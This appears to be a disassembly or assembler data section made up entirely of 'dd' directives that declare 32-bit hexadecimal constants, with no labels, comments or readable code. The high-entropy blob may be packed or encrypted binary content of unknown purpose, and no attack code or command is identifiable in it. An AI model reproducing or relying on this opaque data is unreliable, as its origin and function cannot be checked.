dd 62822A59h, 876701B8h, 0F37EEFDCh, 77B8C86Dh, 0D1614B00h
dd 0A38E115Fh, 0FBE72812h, 44B009B4h, 4D78B99h, 0C488FAF0h
dd 8D8C03B4h, 47ECE8EFh, 0A0C99400h, 4819083Ch, 4CE62439h
dd 38B7180Ch, 0F8CDB10Ch, 4093491Bh, 716C0422h, 1F1D4777h
dd 33B8C3A6h, 2CF190AEh, 2FC07DF1h, 0AA274E0h, 0C80531EBh
dd 0FF6580B0h, 10720C9Fh, 791CD500h, 1274695Bh, 621B0909h
dd 8803438h, 0E7075059h, 7F118E00h, 31C8E513h, 22A4984Dh
dd 0B9241AE6h, 0E089CDFh, 0A97E83C7h, 400C5F39h, 78EDC50Fh
dd 9731BE5h, 0A011B84Dh, 6C91AF30h, 11141B88h, 0FCFFE320h
dd 0BD63E760h, 8018474Ch, 0FF198FADh, 0FC3B4B9Dh, 4A5FCFB8h
dd 138094B7h, 0F4877FEFh, 9FC000C9h, 2F53F9D8h, 33FA828h
dd 0BB62812Eh, 4BF81D5Fh, 8CFCF0A5h, 0DE08B06Ah, 0E9A60349h
dd 18058995h, 0CFE907Ch, 0D27088h, 5F516CDCh, 57704DCCh
dd 0C908E466h, 0D4330021h, 8A01A96Ch, 0EC0169E0h, 0ABE60594h
dd 0D08076D9h, 105EB72Eh, 21264B0Ah, 29086006h, 598A04DAh
dd 58CCBF49h, 18D5001Dh, 6FD7F1BCh, 0FF04EE5Eh, 58211503h
dd 0F499888h, 0A2EBB157h, 0AA93CE40h, 3FE8D2B0h, 5FEC21C0h
dd 51CA8B1h, 882D59A2h
dd 1280280Dh, 0D4AAD600h, 2D1A463Fh, 34ACE478h, 0C2983023h
dd 530E660h, 0E5361153h, 8018886Ah, 38521DABh, 2B007EDBh
dd 0C8E32A25h, 29DE80Eh, 5BE7B72Fh, 88802889h, 0EE25AC38h
dd 194434A7h, 0FF886460h, 0A888154h, 0E3A71314h, 0B5AA1DF2h
dd 0B6E85980h, 1A1189Ch, 0E7DE19C0h, 615BDDABh, 6F285814h
dd 18FBF8A1h, 566C08E9h, 0C6C4D45Fh, 6CC13440h, 0D8FB1081h
dd 8401EBBFh, 0FD591EA1h, 0B4406ADAh, 0E0824D01h, 5B7E0916h
dd 42971E5h, 5A94907Fh, 64B949FFh, 634CE707h, 7BC680DFh
dd 0F7023764h, 36FC3F56h, 1504570h, 0E2D81110h, 63AC4192h
dd 9943273h, 0AA95A690h, 4B90B88Ch, 5E29D90Bh, 70341C31h
dd 0FB5939C6h, 0A8838A1Ch, 892CD19Fh, 0DACC3A1Dh, 0AD50D8h
dd 47AB558Dh, 26AAD5E2h, 599DC377h, 1169D40h, 597F27E0h
dd 30076173h, 48C5A58h, 3904EF38h, 1F5381Bh, 260BEFFFh
dd 50DF0D02h, 0B51999B8h, 0BA954C00h, 9F0715DCh, 854094A4h
dd 302F0553h, 21C345ACh, 5734744Dh, 13BF2368h, 0E516090Ah
dd 6434300Ah, 22544320h, 0ED882253h, 1BB96D00h, 285DB309h
dd 7D2728F9h, 700F49C8h, 46296308h, 1394D42h, 263AFB94h
dd 343000F0h, 4DF020FFh, 0E98B5C11h, 0E597AD01h, 410FEEF4h
dd 876382F8h, 0E0D57789h, 50174290h, 0F6AA014Ah, 9E97DC6Dh
dd 160C26D2h, 7C205912h, 7B7C17h, 0B3412139h, 70FF2C49h
dd 27C9E100h, 1F17C243h, 550B398Fh, 76F1C80h, 22598734h
dd 927941C0h, 2A58933h, 27E8293Bh, 5C60C1A0h, 63803C6Dh
dd 0DCBB5470h, 0C069F89Eh, 0C447F5B1h, 5929888Ah, 2D017C7Bh
dd 0D90E1692h, 908C4080h, 3FE628F5h, 62F6F413h, 74405029h
dd 0A52CB786h, 80C211E4h, 0E5325309h, 2284430Ah, 216F001Bh
dd 37A27E53h, 92189A9Bh, 0E590AD4Fh, 0CEA8003Fh, 0AA8BB908h
dd 6C30255Fh, 0F64F887Eh, 0A73EE9B4h, 0F99C0068h, 0F3261386h
dd 0A83C93A1h, 69024B8h, 3C02E93Ch, 4C47ACDh, 465E0C94h
dd 8A9F0120h, 644D5F57h, 63A0A888h, 29FDF585h, 417DB462h
dd 35185BBCh, 3905EF08h, 4EAAC453h, 0D2F000F6h, 0D41F94h
dd 1A9D8AE0h, 8FFF25A7h, 0DA27BE0Fh, 0ABD5E2F5h, 92544077h
dd 0E25C802Dh, 82BA0313h, 80A865AEh, 0D8B187FAh, 4F57C407h
dd 0C1603C67h, 6CE7F92Ah, 0CCC8309Bh, 44E22F41h, 0BF891720h
dd 0B00E02D6h, 0C488C25h, 584C6330h, 79040074h, 808BB486h
dd 9CDD26D0h, 0BE080E9Dh, 0C7CC8965h, 4204F88h, 471E3C99h
dd 0FB4D0203h, 3045FA40h, 0B6218F08h, 43741E54h, 165F9601h
dd 0EF60C064h, 30ADEAF8h, 9A60987Fh, 47305979h, 0D1245901h
dd 0BBD803C6h, 83DBA5B5h, 210B0930h, 3C6C944h, 17FC553Dh
dd 0EC80D6E2h, 62005E35h, 8758B584h, 0B79E64h, 1A39BAF6h
dd 3F667A77h, 0FA4041DFh, 7C12FDC8h, 50E3104h, 8F144818h
dd 848A3521h, 0CD80DD65h, 87E7E1h, 7D950643h, 49E54F23h
dd 6BB5EE0Ch, 7BBC07Bh, 1BFD28F6h, 52DFF077h, 80A08661h
dd 0D500A979h, 0CCF0CFC1h, 66087560h, 2182089Dh, 0C1CD4700h
dd 0A40A83ECh, 0EED303F9h, 0E2E4F6FEh, 66465000h, 48915EA7h
dd 0DDE1003Fh, 8E2DB6C2h, 7960C78Ch, 4426E580h, 65B883FEh
dd 0A0683CBFh, 4674D830h, 5059018Eh, 34C0CF2Eh, 161E3D0h
dd 8A3F08F1h, 40E6AE5Dh, 83F94380h, 97025F7Eh, 0DE040245h
dd 68C08035h, 0CF99168Fh, 3E863380h, 9C001836h, 0C850E1EBh
dd 7D7AFB72h, 3199C065h, 1C07E02Eh, 0B4A67705h, 6C607FF3h
dd 153BB853h, 0EC43EFA1h, 365F081h, 49318198h, 83978CA6h
dd 6068CC48h, 6669580Ah, 8F601EAFh, 856D2C98h, 68BE0365h
dd 7B56BF59h, 0F0B51802h, 48748FADh, 0CDD57Ch, 1FC3AC6Eh
dd 43467F90h, 64CD852h, 0B2F55DECh, 49B90030h, 2C3550EAh
dd 0BF1869C2h, 6258928Ah, 0C4F8A97Bh, 0BBB70h, 0BD2867FAh
dd 7AE0C924h, 0FF56637Ah, 3AB040FCh, 9C644F01h, 0C4E92F14h
dd 30CEE842h, 49111E3Eh, 92883D02h, 1E56B880h, 4CDC72B7h
dd 0F00620BFh, 0B19C7F8Dh, 4199FE4Ch, 0EFC858A4h, 242804F8h
dd 0F91ADC2Bh, 84D86BB9h, 0CE6054D4h, 0BB23D5C6h, 3F0F11DDh
dd 9005F17Fh, 7EC0F94Eh, 5C4C804h, 0DF8CB601h, 0CA70A4A0h
dd 181FCD1Dh, 0C0E28903h, 0A2C10927h, 0EC215834h, 0D03BBF64h
dd 0AA0C3F43h, 1806EDFCh, 329E00CFh, 7A99299Ch, 1B30CA69h
dd 0B88A4182h, 3DF4F8FBh, 0D28930D6h, 3C10617Ah, 29DEFA35h
dd 8F666801h, 9C22A5CAh, 97F07730h, 0E15B9EB0h, 5A1640E8h
dd 3802EFC5h, 0D7D61B76h, 780404E6h, 87952244h, 51202062h
dd 0CD14470h, 0D6AAB095h, 8C000250h, 0F387C376h, 6E0AA897h
dd 4A8318ECh, 680134C9h, 0EDE1E996h, 0F06B80C1h, 90006E68h
dd 0E275DB7Bh, 820B2Eh, 81734D3Ah, 1A0E0F40h, 250C377Ah
dd 0FCE78704h, 638DF96h, 18138E17h, 5CC94F1Fh, 41A605A0h
dd 0AF6C0C2Fh, 865A88Ch, 584DDADEh, 540DBC4h, 0A990DE5Dh
dd 0A46EB03h, 629557Ah, 0CED88FB0h, 8116C8DAh, 72BB1539h
dd 970334D8h, 1396F9DBh, 914D5083h, 9000A4D4h, 0C4891EA8h
dd 16C38706h, 0BED976DFh, 8DB1C72h, 0C1787820h, 8D160F8Ch
dd 0F0E07EF4h, 0A14FE06Ch, 3098C030h, 70850D17h, 0EC405B8Ch
dd 6962C350h, 32F100CBh, 0C0B274F3h, 0E19A470h, 23D0127Eh
dd 2D78DCECh, 58769F8Dh, 81180240h, 0E75907Bh, 5E2C0323h
dd 0CB793062h, 0B51446DFh, 9E7970F9h, 0E5008B18h, 9CF47B54h
dd 1E5F723Fh, 18914E6Bh, 8F04B89Fh, 83CC31C0h, 32DF719h
dd 0B5DE6125h, 0B181070Fh, 48A26F51h, 598C7B02h, 0E08E2605h
dd 8B9D12CEh, 9775EC0Bh, 9F9D91B4h, 93CCC283h, 0B64DA341h
dd 2F7D12EEh, 911404C9h, 9C5C001Bh, 0E8275Ah, 0F44EBE0Ch
dd 16D406A8h, 0F0FC075Ah, 67016E23h, 684DDCDEh, 0C388E26Eh
dd 0B8DE5F07h, 20B83D21h, 4812ED76h, 0C054A0C5h, 8C25E8D8h
dd 20079074h, 740127F8h, 0A0D4F73h, 36A90421h, 95754B58h
dd 3846BDE0h, 94888199h, 71DB8F3Eh, 0B8B06302h, 7A11CF23h
dd 9A88410Ah, 0CF81C89Ch, 0EAE98FF3h, 30D402ECh, 0CA02196h
dd 262D0EA6h, 0AD4CDE31h, 9DCE8F4h, 0BB0E1998h, 9D513480h
dd 3E2624D3h, 98BB24DEh, 0A5311D8Ch, 91520449h, 82B08B2Ah
dd 2F208944h, 0F2E2FEh, 9EA454D8h, 2A12C8F9h, 88F8062Ah
dd 79E8F9B5h, 90118D8h, 0AB8499C6h, 6E26401h, 0C5C85368h
dd 94D3290Ch, 1613A11Ch, 0FF498205h, 8006B021h, 0D1E081A1h
dd 2C18DCh, 887C5C73h, 4BC0144h, 25AF820Ah, 5010306Dh
dd 782BEFD6h, 1800DF23h, 0E9EFA08Eh, 6C770452h, 921D4590h
dd 0F490F440h, 2E00C8E6h, 2AEA3452h, 0E677028Dh, 44BC9A6Bh
dd 9F2D1B1Ch, 44DCFEC5h, 1E34985Eh, 0A75CF08h, 4097C419h
dd 5FCF16C3h, 0BEB91E7Fh, 0D3938284h, 0E3DF2AA0h, 0EC895168h
dd 0FDAD008h, 0FC1A853Ch, 5C5BE640h, 2F03FA0Eh, 0A6B4F441h
dd 0E818D0F3h, 18E77750h, 0A8176E16h, 0B5B8CFBAh, 594F4835h
dd 0C8B8CBBAh, 0A0F7C620h, 0C63E23h, 4BB9553Ah, 0C91244CAh
dd 541F8714h, 3049900Ah, 79A67205h, 0E7049Ch, 0E94C087Eh
dd 64FF674Ah, 7C91D424h, 0DDC9D142h, 47E60C6h, 0E86C71C0h
dd 2EE7CC3Ch, 0D3D7E6h, 21A95BAFh, 2A159793h, 1898D30Ch
dd 7C8115ADh, 0F29E012Eh, 24B8D6AFh, 7CE36E82h, 2892D30Dh
dd 816F6179h, 98B2B769h
dd 0C0D8DC61h, 9450BDB9h, 0EC3AD810h, 5DC8E913h, 0ACA1C55Ch
dd 8A948882h, 4E5887E5h, 61C16F03h, 0F46E4405h, 9F3401E8h
dd 14038024h, 0CAB6CB2Ah, 0D7CC8414h, 23447960h, 0DE8F952Dh
dd 71525884h, 35454400h, 9E3CF395h, 2734Dh, 1F2D1B6Dh
dd 0CA2CA099h, 238CF859h, 0CF220162h, 0E390A79h, 0CF1AC703h
dd 6A80DE41h, 0D2FED43Dh, 4E608502h, 8DFC99h, 0F51554A6h
dd 43B9C91h, 95FF12DBh, 636FC087h, 137F5EB0h, 0B0843F0h
dd 7A0BE724h, 0AA6B1420h, 50FD9581h, 0C826B190h, 598AB0A0h
dd 803EAD2Eh, 4D8DDF81h, 0EC4584C1h, 2C0081BBh, 3444628Ch
dd 0A00CE01Eh, 9801C1E9h, 7D99209Ch, 5A806B1Dh, 95502A18h
dd 8C0F54A0h, 0F14A2E47h, 835380B4h, 0E2BD2308h, 517A800Bh
dd 9896D53Eh, 9A2068D9h, 0EC506DE1h, 0B8D64FE7h, 38B62064h
dd 52DC0118h, 619E1BA0h, 4E9099DFh, 56B9AF24h, 7999400Ch
dd 0D839BE05h, 5C3C0E36h, 0D57D6374h, 3A07F0C2h, 74C95C89h
dd 14AC5C40h, 9C331D81h, 1F24684h, 22F15A0Ch, 820F8307h
dd 19986040h, 0DE0154B3h, 0EDA46987h, 60883618h, 0EA8700D6h
dd 969F25CCh, 4252E20Ah, 7B900040h, 8A171AD4h, 0ADF0C639h
dd 0D00D919h, 1EF19A1Dh, 3015C1h, 0D55FF723h, 0C4EC1362h
dd 16B09517h, 0A897D830h, 842EF56h, 0FEA4825Ch, 4230532h
dd 0C8CC69B8h, 0D47E6CF4h, 0EE3AD20Bh, 0C03428DAh, 5174E20Ch
dd 45D33913h, 91535900h, 4A0E7A4Bh, 28D89E51h, 8C26E834h
dd 21BED000h, 90FCF88Bh, 9D82170Ch, 0A4BC4148h, 2D33161Eh
dd 0AA141204h, 1BCA10D1h, 0BCA1C500h, 489E8540h, 0A0160C79h
dd 2FAC57D4h, 96230Ch, 0C9E797D3h, 409AB240h, 0CDE3061Ch
dd 0C00087D2h, 62B8C675h, 39956304h, 16C0674Bh, 87009A43h
dd 92796083h, 7909675h, 361AE80Ah, 81523410h, 58F18F4h
dd 0A1EF2001h, 840A90Ch, 43B4914Dh, 90A10882h, 0A844887h
dd 1D089140h, 99E488F5h, 2124044Bh, 3A580453h, 0F517030Fh
dd 0BF190022h, 9FB639BEh, 6662F9D2h, 631157E0h, 0F8801024h
dd 0A6B0286h, 4421B94Ah, 82D3F888h, 1AC44DFh, 70D2E567h
dd 717FE41Ch, 58DAEC98h, 138F1E0Bh, 0A7400481h, 2215A059h
dd 201C7098h, 8989C359h, 1344774Ch, 2C01970h, 23C35141h
dd 85F70040h, 95898E12h, 0E9730405h, 9AB58D07h, 0B693EBFFh
dd 9785C0B7h, 0D210D4AAh, 49068C18h, 0E1309D01h, 0D0FF3631h
dd 0E7810166h, 890F6F40h, 1827BB0Bh, 0BA0D0586h, 3E943C3Ah
dd 0C30E6A30h, 404CB899h, 17610CC2h, 30531BE9h, 203503E8h
dd 89E4C35Bh, 22675C52h, 53431E17h, 19ED80C3h, 0C5BD01C6h
dd 894A0761h, 0ECD18E85h, 90515791h, 301DF292h, 9100F050h
dd 0F2FF2212h, 0C113DCFAh, 6D8D8B4Ah, 85985130h, 52335286h
dd 0E4C35A30h, 0C5545389h, 0C3524280h, 5D0196E7h, 8BE6402Ch
dd 0C84150D3h, 6A013235h, 0C658BD04h, 88C3581Ch, 40704489h
dd 91C30050h, 90CDD929h, 1460E89Eh, 7CA3491Dh, 0B0B2F20Fh
dd 0CD48007Dh, 0CAA0AA89h, 9F007AF4h, 802A5271h, 0A5A68E2h
dd 1ECD958Bh, 1D190D76h, 7D7210Ch, 0D2BF6148h, 88544B50h
dd 0D58ECF18h, 0EECC105h, 0E908A5D9h, 0AAEA8180h, 920D77D1h
dd 0F9790119h, 0B966369Fh, 1D8F7F0h, 0CB02CA81h, 0FF567DE2h
dd 8BFA90B5h, 950909D0h, 522E0C8Dh, 0C2711C6h, 7032F879h
dd 8260861Bh, 10ADE8h, 28F99D89h, 66610CC0h, 3240EABFh
dd 5682C08Bh, 0C35E6F90h, 744689E4h, 46001B22h, 6EAFC356h
dd 18B06B5h, 8381C545h, 0B8164DBDh, 9751860h, 88112112h
dd 50301974h, 0D2B87253h, 8D4CD007h, 0F23B910h, 0CCC49D8Dh
dd 2BD3D4EBh, 1022585Bh, 0C4204317h, 265B5B3h, 36D2C9DEh
dd 5609E1E1h, 0F198493h, 0E8D3128Dh, 76034FB8h, 0F2E70117h
dd 0E0B92F88h, 0FEEAF03h, 0EE95Ah, 7D08E625h, 0ABF9B3EAh
dd 873FE300h, 997C7577h, 0BD851BC7h, 319E6601h, 718D890Ch
dd 0ED29142Fh, 680D02FFh, 0CEE4E7B8h, 21D5EF83h, 0CF85C70Eh
dd 0D031D039h, 8F0651E2h, 88DBD433h, 1DEE54C0h, 0FA370EA0h
dd 95508AA1h, 50974536h, 3240C51Bh, 74C0390Bh, 32D88B98h
dd 0EC4409EAh, 1F09A4D3h, 0CD388366h, 0EDEC0A75h, 5688190Eh
dd 251D22A1h, 0F88317F1h, 358873E1h, 0EC92FB1h, 800911ABh
dd 742CF9BDh, 1044851Ah, 0B5BA0E66h, 1A0CE971h, 0CC50B112h
dd 0D724CFF0h, 9081579h, 2C3AB70Eh, 8066B163h, 0A159C3C4h
dd 85AADDFDh, 1C5746EEh, 8988C35Fh, 4114C47Ch, 6FC35747h
dd 40CD1360h, 0CEE4B91Eh, 0DC7B6724h, 6E8E0F0Ah, 0E860F919h
dd 0A5001E22h, 24692AF1h, 5C00FB23h, 7E2E410h, 60E9D2F2h
dd 429B2711h, 0BE000F22h, 19B73336h, 0E5A0E0C8h, 33DA91D0h
dd 0F585A75h, 0BA89D0F2h, 24BABB88h, 99A60920h, 82D15D84h
dd 0E266ED05h, 5D1C5546h, 6C8988C3h, 45401CC4h, 0CFEBC355h
dd 0E895B700h, 2047F138h, 92A5B003h, 0FF6A262Ah, 1446748Eh
dd 0FC578614h, 0CA810622h, 5907C60Dh, 190936h, 0EEB6B2DBh
dd 453DB40Ch, 41620748h, 0BCAC0C6Ah, 1F00A0FCh, 0C78AA236h
dd 1410EB21h, 863B6E9Dh, 945AD314h, 207C910h, 15BCECBAh
dd 0FE0D4018h, 0A7EB59F9h, 0A63A38E8h, 0C3B8112h, 0B2BC50F3h
dd 416D7664h, 2B04640Eh, 42CA4282h, 49E5643Dh, 677CCF88h
dd 880B8CFBh, 465C4C4Ah, 457F001Ch, 2C5F2E41h, 61D817CAh
dd 51D0889h, 0B5295002h, 0ED01647Dh, 0D17D7EA1h, 2C011816h
dd 112D4632h, 862B495Dh, 0FCE25A57h, 2377FD25h, 12825AA0h
dd 0B67AF50Bh, 0C1B990E9h, 11A3138Ch, 310C0BB1h, 79858703h
dd 0F680CF09h, 8878A5B4h, 1923A83Fh, 15516400h, 4C141D91h
dd 0F2093760h, 830208BDh, 610516C9h, 0F48E7B25h, 60CF1A88h
dd 482D9F06h, 0EC6248E5h, 20E9FE16h, 0A8689E50h, 0BB63BD00h
dd 0BAD96F7h, 0F97C0155h, 132E4DEEh, 0D19C85A3h, 0BA0D33FEh
dd 44EEF79Ch, 5058442Ch, 1DD1F8B1h, 0CF004F18h, 63EC144Bh
dd 39B9C898h, 0B256B689h, 40DCE824h, 0C93890B7h, 50F6C707h
dd 8DD256D9h, 812E5045h, 8761B5FAh, 0BC621A4Ah, 68617D5h
dd 8B0B5B94h, 1103A1BDh, 60134B6Ah, 3F2DC8CCh, 2477300h
dd 39CB53AFh, 0D90C0009h, 0FA9F1D0Ah, 960451C7h, 50612117h
dd 3C7CB6CCh, 0C0003CD6h, 7464844Fh, 0E73983DDh, 6CCC8A54h
dd 0C64C7109h, 5C0656A5h, 29CA8B01h, 42313D85h, 8127985Eh
dd 12196590h, 11668167h, 85810FE8h, 0B7DC3E62h, 0F3AAF418h
dd 8A631601h, 0DDC5891Eh, 0E4CE7120h, 0B150125Ah, 4B6B29D0h
dd 0C01D8837h, 0CA07AA76h, 84E2A138h, 0F835FA25h, 2F450EC7h
dd 0E8E6E64h, 0BBC01788h, 35539721h, 91198A0Fh, 172725D7h
dd 0E3251A65h, 7BE15F03h, 0FFCCB4ABh, 957E00A5h, 31514899h
dd 29784364h, 0BC02AD24h, 0F19E5A0h, 60312781h, 7BD373h
dd 523E80C3h, 97AE0821h, 0D0F9B601h, 0CE830F5h, 0CDC02780h
dd 0BDFDBB11h, 764DA600h, 58FED928h, 65B4AC61h, 28277889h
dd 0A40ABF8Eh, 2A2B7F52h, 8D5C4680h, 0FE112CDCh, 0CBC80B3Ah
dd 0CE022B9Ch, 9D82E16Eh, 2D818C85h, 480E518Dh, 8088298Ah
dd 24C059CAh, 0D94CBD3Fh, 51B101A3h, 4C49590Fh, 0F2007188h
dd 0FFB04F2Ch, 382470h, 4C83D46Dh, 0C0742922h, 0B8FE2019h
dd 56AC908Eh, 0C200F413h, 0E9081207h, 484B75E4h, 110D8DAh
dd 468171Fh, 1D168859h
dd 2085BA2Ch, 6DAF21FBh, 0FCF20626h, 132E5061h, 0F0FC4524h
dd 80883101h, 0FAF86FD1h, 8A128395h, 118608EBh, 67A1F78Fh
dd 62D36FABh, 3ECE16EEh, 7D7F03F2h, 8DA947C1h, 5A3F83BDh
dd 0BFC0855Fh, 0E4BC9339h, 0E10CB4h, 51C91A03h, 0EF815540h
dd 84713409h, 11594525h, 0A2CE534Ch, 51F73016h, 17BAE607h
dd 0E9A12C01h, 284E1488h, 8CC31988h, 0C9F2F711h, 0B90B50ABh
dd 33374695h, 0B0DE830h, 0C59896h, 0A3B11726h, 0F669FCA4h
dd 0F86BF20Dh, 0AED425Fh, 46847A41h, 0C1AC8C14h, 39429000h
dd 87B9AE32h, 8CF73C01h, 30CA1402h, 0EE827A7Eh, 440CFABDh
dd 644840Bh, 8AB1070Ch, 0B9BF03B4h, 20F82249h, 0DCAA4524h
dd 4D16392Ch, 9EB201E1h, 82A86090h, 4C50C9BFh, 0B935A33Bh
dd 280415D9h, 3D44848Bh, 0C58D1233h, 4648220Ch, 958B5221h
dd 5F39DE22h, 0C7332AB4h, 0B06146Fh, 26E41860h, 0DAF700AFh
dd 0F595621Bh, 7900F363h, 0D2514B3Ah, 80F9CDB8h, 61F4A2E8h
dd 962F6EC8h, 6E040650h, 7E451614h, 0C9A5DA20h, 111D506Bh
dd 7851511h, 3D9E046Bh, 0D0B9000Dh, 907E628Fh, 3A520AFh
dd 0D7EA8002h, 7010C483h, 0D1B727A0h, 0D311FB1Fh, 9D17FEFDh
dd 1610258Bh, 210C7341h, 88F577DFh, 0C1BD1989h, 0DA81220Ah
dd 6F0A1244h, 0FE616572h, 0C73DA41Ah, 60174496h, 496A967Ah
dd 0ED837CFh, 4286FC5Dh, 40B5467Eh, 0C6120CB2h, 2E40E585h
dd 184F6844h, 34964EA3h, 15FDB7E2h, 892CD88Bh, 948432D3h
dd 247BAE81h, 0CE710874h, 42280649h, 1000565Bh, 39F3D181h
dd 2A290738h, 9CB4E18Dh, 620B670Ch, 127B3135h, 0E8E58225h
dd 741778F1h, 0C34D530Fh, 0D83015F2h, 416ABA4Ah, 95C4602Bh
dd 60A41913h, 310544CBh, 22194D8Dh, 0A251DCADh, 3BDAF81Eh
dd 0FD576029h, 0E41B9930h, 8D8B4120h, 5052811h, 40289AFh
dd 0A4FB072Dh, 1641496Bh, 0D2DF1FAh, 0F328FEB7h, 48B68312h
dd 391C7A0Dh, 99F86720h, 521364E4h, 0A824D02Ch, 0C426B94Bh
dd 16115B73h, 3AF21A30h, 0D8E40016h, 0F897D0ABh, 7D0007B3h
dd 44E773DFh, 98321EA5h, 4A63014h, 0B8C68032h, 691AC90h
dd 0C81FD4F9h, 0BD3474D4h, 0CC84F339h, 86A0DAE5h, 8012F687h
dd 0E12E8501h, 3F94590Bh, 8704659Ch, 0CB2D07E3h, 7B0BD880h
dd 42C977A6h, 7970C4A9h, 601B440Fh, 8880A8B1h, 0ECE0E4DEh
dd 8A09008Fh, 9C3717FCh, 0F375ED7h, 61062782h, 2A2524A4h
dd 9F66499Bh, 4656B49Ch, 0AB880215h, 4AB58529h, 4471C4B8h
dd 6F92600Eh, 2DA089F4h, 6E62C480h, 53A0858Ah, 2CDAD80Ch
dd 0B00D68BAh, 489EF94Ch, 2F45A041h, 0A2046B44h, 6023195Dh
dd 0B34D7A33h, 20144A61h, 76028C96h, 0E14E9705h, 33F3E567h
dd 111BB126h, 30092E06h, 5F18D42Ah, 956FFA8Bh, 16246999h
dd 9E676732h, 0FF601844h, 17FA4926h, 0B1952312h, 0AA05D484h
dd 9B3A50CFh, 0B0C1523h, 8801C8D7h, 9D2409F9h, 6A9F0AA5h
dd 0A83F891Eh, 70CD0817h, 0B2380AFEh, 98C17BCh, 0A9A47ED2h
dd 21B59602h, 1FF6801h, 65FCBB42h, 41339A73h, 6C70FF7Bh
dd 0FDBEA0F5h, 0CA0A82FAh, 0E14449A3h, 695FBF06h, 452C4CE3h
dd 0C64460D3h, 0E2755052h, 7F6D3015h, 0E5EAB905h, 41B33E31h
dd 5D10574Ch, 8A5B7C04h, 0D1BD4D20h, 0FD50812Dh, 383F1013h
dd 0DBB2007Eh, 0EF9BE7D0h, 4E3B3B2Bh, 5EBE823Dh, 0C243840Ch
dd 51A292D7h, 1691014Dh, 0C078F001h, 8000864Ah, 0D7AAE69Bh
dd 49A85A3Bh, 5F26217Fh, 3F8C1201h, 71723C2h, 0C9122B48h
dd 12B2FD09h, 2671BB82h, 77A94A0Eh, 3B27F188h, 19C5F924h
dd 476081A4h, 661F9CD4h, 4F04B813h, 12009484h, 3E4977BAh
dd 25BAC42Ah, 0B221F327h, 9E0A301Ch, 9DEADF00h, 0ED667270h
dd 56102BAh, 12B677B2h, 374B6986h, 1B449087h, 364F160h
dd 0E0126F02h, 90E8CE0Ah, 95856FDh, 0C1B440EAh, 0F2003364h
dd 0B0CE3709h, 0F6D064h, 0AEFE9E1Bh, 0E7ADFA6Dh, 0AE5A6E28h
dd 0FD1FA131h, 0A122F910h, 646A44C8h, 1D465Ch, 3B06E5E4h
dd 4770A5Bh, 8BDA45FEh, 0C8AB9CCBh, 58AAE952h, 7C0DE30h
dd 446DA8B8h, 9F673A6Bh, 0C8B21D24h, 90E113FBh, 0C19D01C8h
dd 680E1C6Ah, 0F6BF66C0h, 7AF5A274h, 40999676h, 5EDF72ABh
dd 0CF52E370h, 0D0C22D6h, 1861BD01h, 0D5D26054h, 382BCCBCh
dd 190AE26h, 1EA3DC69h, 2084499Dh, 24CA8166h, 0C9437388h
dd 660021E4h, 237BC62Fh, 65D1B9C0h, 4590AE42h, 99174931h
dd 29F7368Dh, 81002BD6h, 467670F1h, 216F931Eh, 8F133B6Ch
dd 0C9038906h, 95C18525h, 352711F9h, 3EC5B1B8h, 8BD38242h
dd 468068CEh, 2B9930D4h, 880F03F3h, 9624E291h, 246E5C60h
dd 90BB00AEh, 8DA72BCh, 8F3430A1h, 87A2568Dh, 0D50C4503h
dd 0CEE48818h, 0C01DC8E0h, 0E3C21471h, 0D501C476h, 2908A3F5h
dd 1A247DBDh, 452FD668h, 0A517C1B1h, 2861735Fh, 0CD6A3CEh
dd 1723703Eh, 0E298AD01h, 402BE9B3h, 0DD9E1814h, 0F9074A75h
dd 0D28985BCh, 72482400h, 83CA0A2Eh, 8C0FFF8h, 810004F1h
dd 0EE613CC9h, 0E5D4A367h, 4F854CE4h, 12ED1D8Ah, 8E210CEh
dd 1AE20224h, 9542AFDAh, 0F59FA081h, 0E152805Ah, 438AC0BFh
dd 449DFA03h, 62D0D00Eh, 0F2349894h, 1C5083EFh, 2F449D19h
dd 516058C0h, 57120222h, 0B38F615Eh, 43FED888h, 1D95B7D8h
dd 0FDA0F4F7h, 95120135h, 1B042D92h, 0D6B80B21h, 0B1198E89h
dd 28890982h, 0DA4C0AB5h, 86B36CA4h, 390F2178h, 0B792ECC7h
dd 72C19DCBh, 301CB211h, 7F009C5Fh, 0A97349FFh, 48193F4h
dd 0BD90DAC7h, 0D3F78247h, 32CD9F82h, 0C8940F64h, 9B96604Fh
dd 2411ACh, 0AF8D8CBh, 881DDDF6h, 0A7096D7Ah, 469B3656h
dd 0EA8BF2D6h, 0A6B62E5Fh, 0CE4B6FE3h, 19444316h, 1E0459B5h
dd 68955099h, 99B1722Ch, 1D4DF228h, 96184D7Bh, 0BD51A467h
dd 0BF100ADDh, 719850C8h, 0A776D716h, 0E1B22061h, 291C1E66h
dd 28065685h, 913ABF04h, 292C852Fh, 0DE0B19Dh, 0C5853EC7h
dd 5FD66D4Ch, 960B935Fh, 0CD9643CDh, 9401DC89h, 932C5D2h
dd 8269062Fh, 8C9332FDh, 7B15878h, 7877B49Eh, 0AB0F0BA1h
dd 48B0F85h, 0AD016A51h, 6CB8EDh, 0F93C4667h, 0BA0E072Eh
dd 509B3B98h, 759D0904h, 9C8AEFBCh, 0CAB742CFh, 80CA1593h
dd 0F80A2F5Ah, 0EB659D31h, 82C96CA6h, 5B2C0DFCh, 74B32C07h
dd 7A011946h, 0B96C9C7Eh, 48131E5h, 88A0E3D3h, 78BA813Ah
dd 25630420h, 0E33E2A4Ch, 13011623h, 0C88A9823h, 0C20F96Ch
dd 7049D8B4h, 6AA3499Bh, 2DB293h, 7ACE21E0h, 0E4A59DD1h
dd 3BAB3C11h, 4D3DEC80h, 0D635A07Bh, 9529BB09h, 5964C015h
dd 2E859050h, 529C1155h, 55F16385h, 0C29780ACh, 80450432h
dd 0C80AB42Ch, 0E5C9E118h, 6018E489h, 2CEB6A2Ah, 8353023h
dd 0EB280799h, 961D6120h, 1E4440B4h, 4D74DE83h, 38202A00h
dd 4EF10179h, 57DF315Bh, 0A5326942h, 94AFC1EFh, 0D4521F33h
dd 0BC8CC59h, 57193C80h, 0E6B64ED2h, 7F730BD7h, 0ACB8F50Ch
dd 8B880288h, 38C9F4CAh, 2FCBFFF6h, 1A2328h, 0F5E18CDFh
dd 794EB617h, 1289248Ch, 0A210958Dh, 830B32A6h, 9208518Fh
dd 0F12D88FAh, 0F3152B00h, 0ABFBB08Bh, 2E85EAD5h, 45F82DCDh
dd 1EAA5E8Dh, 428E66A3h, 82091215h, 52FDA25Dh, 8024F044h
dd 0FC0BF181h, 5155FBCCh, 0E88A8B52h, 0AFB71289h, 2BBDA080h
dd 0C4113E31h, 0F28E1EEh
dd 356563BFh, 80580B59h, 5B51F4D9h, 3EBA6680h, 25F38B78h
